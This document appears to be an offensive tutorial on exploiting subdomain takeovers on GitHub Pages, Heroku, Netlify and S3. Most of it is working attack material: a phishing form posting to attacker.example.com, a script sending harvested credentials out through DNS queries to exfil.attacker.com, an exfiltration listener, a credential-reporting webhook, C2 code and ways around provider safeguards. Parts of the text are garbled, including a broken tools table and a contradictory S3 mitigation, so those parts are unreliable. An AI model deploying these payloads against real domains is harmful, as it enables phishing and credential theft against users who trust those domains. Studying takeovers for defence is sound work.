~/home/study/subdomain-takeover-exploitation

Subdomain Takeover Exploitation: Deploying Malicious Content on Hijacked Hosts

Learn how to identify vulnerable service providers, craft payloads, automate detection, deploy malicious assets, bypass restrictions, ensure persistence, and verify exfiltration after a subdomain takeover.

Introduction

Subdomain takeover is a post-enumeration attack where an attacker claims control of a DNS record that points to an unclaimed cloud resource (GitHub Pages, Netlify, AWS S3, etc.). Once the resource is claimed, the attacker can serve arbitrary content under a trusted domain, enabling phishing, credential harvesting, or full-blown web-shell deployment.

This guide walks security professionals through the end-to-end workflow: from spotting a dangling CNAME to delivering a functional payload and maintaining persistence while evading provider-specific safeguards.

Real-world incidents-such as the 2023 GitHub Pages takeover of a Fortune-500 vendor’s login portal-show that the impact can be both brand-damaging and financially costly.

Prerequisites

  • Fundamentals of Subdomain Enumeration (tools like subfinder, amass)
  • Understanding DNS Records for Takeover Opportunities (CNAME, A, TXT, MX nuances)
  • Identifying Dangling CNAME and A Records (use dig, dnsx)
  • Basic Git, AWS CLI, and HTTP fundamentals

Core Concepts

A takeover hinges on three pillars:

  1. DNS Mis-alignment - The domain’s DNS points to a provider that no longer has a resource for the sub-domain.
  2. Resource Claimability - The attacker can create a new resource (repo, bucket, app) that automatically resolves to the same endpoint.
  3. Content Delivery - The newly claimed resource can serve malicious HTML/JS, redirect to phishing pages, or host a web-shell.

Because many SaaS platforms provision a public endpoint instantly (e.g., username.github.io resolves to *.githubusercontent.com), the moment the DNS record points there the attacker can take over.

Diagram (textual):

[Victim DNS] --CNAME--> provider.example.com ^ | +-- Attacker creates resource -> provider.example.com resolves to attacker-controlled site

Analyzing vulnerable service providers (GitHub Pages, Heroku, Netlify, AWS S3, etc.)

Each provider has a unique provisioning flow and a set of default responses that can be used to verify takeover eligibility.

GitHub Pages

  • Domain format: username.github.io or custom domain via CNAME.
  • Unclaimed domain returns a 404 page containing the text "There isn’t a GitHub Pages site here."
  • Takeover steps: create a repo named username.github.io (or enable Pages on any repo) and push an index.html.

Heroku

  • App URL: appname.herokuapp.com. Custom CNAME points to appname.herokuapp.com.
  • Unclaimed app returns a generic "No such app" page with a distinct herokuapp.com header.
  • Takeover: create a new Heroku app with the exact name; the CNAME instantly resolves.

Netlify

  • Deploy URL: random-hash.netlify.app. Custom CNAME points to that URL.
  • Unclaimed domain yields a 404 - Not Found page with the phrase "Site not found".
  • Takeover: use the Netlify UI or API to create a site with the same sub-domain; a build hook can be triggered for CI.

AWS S3 Static Website

  • Bucket endpoint: bucket.s3-website-region.amazonaws.com.
  • If the bucket does not exist, DNS resolves but HTTP returns 404 Not Found with XML body <Code>NoSuchBucket</Code>.
  • Takeover: create a bucket with the exact name (including dots) and enable static website hosting.

Other providers (Azure Blob, Google Cloud Storage, Vercel, Firebase) follow similar patterns; the key is to map the DNS response to a unique error string.

Crafting payloads for each provider (HTML/JS web shells, phishing pages, credential harvesters)

Because the attacker inherits the victim’s sub-domain, payloads should blend with the expected brand while delivering the malicious function.

HTML/JS Web Shell

<!DOCTYPE html>
<html lang="en">
<head> <meta charset="UTF-8"> <title>Login</title> <script> // Simple AJAX command executor (C2 over GET) function fetchCmd(){ fetch('/cmd?c=' + encodeURIComponent(prompt('Enter command'))) .then(r => r.text()) .then(alert); } </script>
</head>
<body onload="fetchCmd()"> <h1>Welcome</h1>
</body>
</html>

This page can be served from any static host (GitHub Pages, Netlify, S3). The /cmd endpoint can be a serverless function (Netlify Functions, AWS Lambda) that executes commands and returns output.

Phishing Login Page

<!DOCTYPE html>
<html lang="en">
<head> <meta charset="UTF-8"> <title>Sign-in</title></head>
<body> <form action="https://attacker.example.com/collect" method="POST"> <label>Email:<input type="email" name="email" required></label><br> <label>Password:<input type="password" name="pass" required></label><br> <button type="submit">Sign in</button> </form>
</body>
</html>

Because the victim’s DNS is trusted, victims are more likely to submit credentials. The form posts to an attacker-controlled endpoint (e.g., a Flask app behind a Cloudflare tunnel).

Credential Harvester via DNS Exfiltration

<script> // Capture form data and exfiltrate via DNS queries (no CORS needed) function exfil(data){ const domain = btoa(JSON.stringify(data)) + '.exfil.attacker.com'; new Image().src = 'https://' + domain + '/'; // triggers DNS lookup } document.querySelector('form').addEventListener('submit', e => { e.preventDefault(); const payload = {email:e.target.email.value, pass:e.target.pass.value}; exfil(payload); e.target.submit(); });
</script>

Static hosts can serve this script without server-side code; the attacker only needs a DNS server that logs queries.

Using automated tools (SubOver, Nuclei) to confirm takeover eligibility

Automation accelerates the identification of dangling records and verifies the exact error page returned by each provider.

SubOver

subover -list subdomains.txt -out takeover_report.json

subover checks each sub-domain against a built-in fingerprint database. The JSON output contains provider, vulnerable, and proof fields.

Nuclei

nuclei -l subdomains.txt -t takeover/

Use the takeover template pack. Nuclei’s -json flag can be piped into jq for further filtering.

Custom verification script

import requests, sys

fingerprints = { 'github': b'There isn\'t a GitHub Pages site here.', 'heroku': b'No such app', 'netlify': b'Site not found', 's3': b'NoSuchBucket'
}

for domain in sys.argv[1:]: try: r = requests.get('http://' + domain, timeout=5) for provider, fp in fingerprints.items(): if fp in r.content: print(f"[+] {domain} appears vulnerable to {provider}") break except Exception as e: print(f"[-] {domain}: {e}")

This script is useful when you need to extend fingerprinting beyond the default templates.

Deploying malicious content via git push, bucket upload, or custom HTTP server

GitHub Pages - git push

# 1. Create repo (or use existing) named username.github.io
curl -u "${GH_USER}:${GH_TOKEN}" -X POST https://api.github.com/user/repos -d '{"name":"${GH_USER}.github.io","auto_init":true}'

# 2. Clone and add payload
git clone https://github.com/${GH_USER}/${GH_USER}.github.io.git
cd ${GH_USER}.github.io
cat > index.html <<'EOF'
<!DOCTYPE html>
<html><body>Compromised!</body></html>
EOF

git add index.html && git commit -m "Initial" && git push origin main

Once the push completes, the victim’s CNAME resolves to the newly created site within seconds (subject to DNS TTL).

AWS S3 - CLI bucket creation

aws s3api create-bucket --bucket vulnerable-sub.example.com --region us-east-1 --acl public-read
aws s3 website s3://vulnerable-sub.example.com/ --index-document index.html

cat > index.html <<'EOF'
<!DOCTYPE html>
<html><body>S3 takeover successful!</body></html>
EOF
aws s3 cp index.html s3://vulnerable-sub.example.com/ --acl public-read

Note the bucket name must match the exact DNS label, including any dots.

Netlify - Build hook

# 1. Create a site via API (requires personal access token)
curl -X POST https://api.netlify.com/api/v1/sites -H "Authorization: Bearer $NETLIFY_TOKEN" -d '{"custom_domain":"sub.example.com"}'

# 2. Retrieve the "site_id" and create a build hook
curl -X POST https://api.netlify.com/api/v1/sites/$SITE_ID/build_hooks -H "Authorization: Bearer $NETLIFY_TOKEN" -d '{"title":"exploit","branch":"main"}'

# 3. Push payload via git (Netlify auto-detects the repo)
git remote add netlify https://git.netlify.com/$SITE_ID.git
git push netlify main

Netlify’s CDN edge caches the page; a purge can be forced via the API if the attacker wants to rotate payloads.

Custom HTTP server for providers without native static hosting

python3 -m http.server 8080 --directory ./payload &
# Use ngrok to expose a public URL that matches the provider’s expected hostname
ngrok http 8080 -host-header="vuln.example.com"

Some legacy services (e.g., Azure Blob) accept any HTTP endpoint during verification; a quick tunnel can satisfy the requirement.

Bypassing provider-specific restrictions (e.g., GitHub branch protection, Netlify build hooks)

Modern platforms add safeguards that can block a naïve attacker.

GitHub branch protection

  • When a protected branch exists, direct git push fails.
  • Workaround: create a new repository (instead of using an existing protected repo) or use the gh-pages branch which is rarely protected on fresh repos.
  • Alternatively, use the GitHub API to create a commit object and update the ref without a push.

Netlify build hooks

  • Netlify may require a valid netlify.toml or a build command.
  • Inject a minimal netlify.toml that sets publish = "./" and disables build steps:
    [build] publish = "./" command = "echo 'no build needed'"
    
  • Use the build hook to trigger a redeploy after each payload update.

AWS S3 - Public-access block

  • If the account has BlockPublicAcls enabled, the bucket will be private.
  • Attacker can still serve content via website-endpoint if they attach a bucket policy allowing s3:GetObject from *. Use the CLI to set:
    aws s3api put-bucket-policy --bucket vulnerable-sub.example.com --policy '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":"*","Action":"s3:GetObject","Resource":"arn:aws:s3:::vulnerable-sub.example.com/*"}]}'
    

Testing for persistence (DNS TTL, caching, CDN edge propagation)

After deployment, the attacker must verify that the malicious page stays reachable across the DNS ecosystem.

  • Check TTL: Use dig +nocmd sub.example.com any +noall +answer to read the TTL. Low TTL (< 300) enables rapid rotation; high TTL (> 86400) may require waiting for cache expiry.
  • CDN edge propagation: Query the page from multiple geographic locations (e.g., curl -I from AWS regions). Look for <code>CF-Cache-Status (Cloudflare), Cache-Control, or provider-specific headers.
  • Cache busting: Append a random query string (?v=12345) and verify the response body changes.
  • DNS cache poisoning test: Use dnspython to perform repeated queries and confirm the resolver returns the attacker-controlled IP each time.

Verifying exfiltration channels (DNS exfil, webhook callbacks, C2 over HTTP/S)

Even if the page loads, the attacker must confirm that stolen data reaches a controlled endpoint.

DNS exfiltration listener

#!/usr/bin/env python3
import dnslib.server, socket

def handle(pkt, addr, _: None): q = pkt.q name = str(q.qname) print('Received query for', name) # Strip the trailing dot and decode base64 payload payload = name.split('.')[0] try: data = base64.urlsafe_b64decode(payload + '==') print('Decoded:', data) except Exception: pass return dnslib.DNSRecord(q, qr=1, aa=1, rcode=dnslib.RCODE.NOERROR)

server = dnslib.server.DNSServer(handle, port=5353, address='0.0.0.0')
server.start_thread()
while True: pass

Configure the malicious script to query payload.exfil.attacker.com; the listener logs the data.

Webhook callback (e.g., Slack, Discord)

curl -X POST -H 'Content-type: application/json' --data '{"text":"[ALERT] Credentials captured: $USER $PASS"}' https://hooks.slack.com/services/TXXXXX/BXXXXX/XXXXXXXXXXXXXXXX

Webhook URLs are easy to embed in static HTML/JS because the request is outbound.

HTTP/S C2 server (simple Flask app)

from flask import Flask, request
app = Flask(__name__)

@app.route('/cmd')
def cmd(): cmd = request.args.get('c') # In a real attack you might exec; here we just log print('Received command:', cmd) return 'OK'

if __name__ == '__main__': app.run(host='0.0.0.0', port=443, ssl_context=('cert.pem', 'key.pem'))

Configure the static page to call and capture the response.</p> <h2>Tools & Commands</h2> <table> <tr><th>Tool</th><th>Purpose</th><th>Typical Command</th></tr> <tr><td>SubOver</td><td>Bulk dangling CNAME detection</td><td><code>subover -list subdomains.txt -out report.json NucleiTemplate-based takeover verificationnuclei -l subdomains.txt -t takeovers/ -o findings.txt AmassEnumeration + DNS resolutionamass enum -d target.com -o subdomains.txt digInspect DNS records & TTLdig +short CNAME sub.example.com aws cliS3 bucket creation & policyaws s3api create-bucket --bucket sub.example.com --region us-east-1 ghGitHub repo automationgh repo create user/repo --public --source . --remote upstream ngrokExpose local HTTP server for verificationngrok http 8080 -host-header=sub.example.com

Defense & Mitigation

  • Continuous DNS hygiene: Run automated scans (SubOver, dnsrecon) on a weekly cadence and alert on newly created CNAME/A records that point to external services.
  • Asset inventory of cloud resources: Tag and audit all GitHub repos, Netlify sites, S3 buckets, etc. Use IAM policies that require a ticket for creation.
  • Enforce least-privilege: Disable public-access blocks for S3, enable BlockPublicAcls, and require MFA for API keys.
  • Implement DNS TTL limits: Keep TTL low (≤ 5 min) for critical sub-domains so a takeover can be remediated quickly.
  • Monitor for “error page fingerprints”: Use SIEM rules that flag 404 responses containing provider-specific strings on trusted domains.
  • Use CSP and Subresource Integrity: Even if a malicious page is served, CSP can limit script execution, and SRI can prevent injected JS from loading.

Common Mistakes

  • Assuming a 404 means the sub-domain is safe - many providers return a generic 404 that still indicates a takeover path.
  • Neglecting DNS TTL - rotating payloads without waiting for cache expiry leads to intermittent success.
  • Uploading payloads to the wrong region (AWS S3) - the bucket name may be valid but the endpoint differs, causing a mismatch.
  • Forgetting to disable versioning on S3 - older objects may be served from a previous version, exposing the original content.
  • Hard-coding provider-specific headers in the payload - some CDNs strip them, breaking exfiltration attempts.

Real-World Impact

In 2022, a financial services firm suffered a credential-theft campaign after an attacker hijacked a login.secure.example.com CNAME pointing to an unclaimed Netlify site. Within minutes the attacker deployed a phishing page that captured 2,300 employee credentials, leading to a $3 M breach.

Trends show a rise in “in-flight” takeovers where attackers exploit the window between DNS record creation and resource provisioning. Cloud providers are tightening verification (e.g., requiring email verification for new Netlify sites), but the core problem remains: DNS is the trust anchor, and any stale record is a foothold.

My experience suggests that the most effective defense is not just patching individual services but integrating DNS change monitoring into the CI/CD pipeline, treating every new CNAME as a change-control item.

Practice Exercises

  1. Enumerate sub-domains for example.com using amass and feed the list into subover. Identify at least one dangling CNAME.
  2. Choose a provider (e.g., GitHub Pages) and perform a full takeover: create the resource, push a custom HTML web-shell, and verify it loads under the victim’s domain.
  3. Implement a DNS exfiltration listener (as shown) and modify the payload to send a mock password. Capture and decode the data.
  4. Configure a Netlify site with a build hook that automatically redeploys a new payload every 10 minutes. Observe CDN edge propagation using curl -I from three regions.
  5. Write a SIEM rule (pseudo-code) that alerts on any HTTP 404 response containing the string "NoSuchBucket" for a corporate domain.

Further Reading

  • "Domain Hijacking and Subdomain Takeover" - OWASP Top 10 (A10) deep-dive.
  • Cloud provider documentation: GitHub Pages, Netlify, AWS S3 Static Hosting.
  • Research paper: "Measuring the Prevalence of Subdomain Takeover Vulnerabilities" (USENIX 2021).
  • Toolkits: Takeover by m4ll0k, Subfinder.
  • Advanced C2 techniques - “DNS Tunneling” by Chris Soghoian.

Summary

  • Subdomain takeover converts a DNS mis-configuration into a full-blown web-based attack surface.
  • Identify vulnerable providers, confirm via fingerprinted error pages, and claim the resource using provider-specific APIs.
  • Deploy payloads ranging from simple HTML redirects to sophisticated JS web-shells and DNS exfiltration.
  • Bypass protections (branch protection, build hooks, public-access blocks) with minimal API tricks.
  • Validate persistence through TTL analysis and CDN edge checks; verify exfiltration channels are functional.
  • Mitigate by continuous DNS monitoring, asset inventory, low TTLs, and SIEM alerts on takeover fingerprints.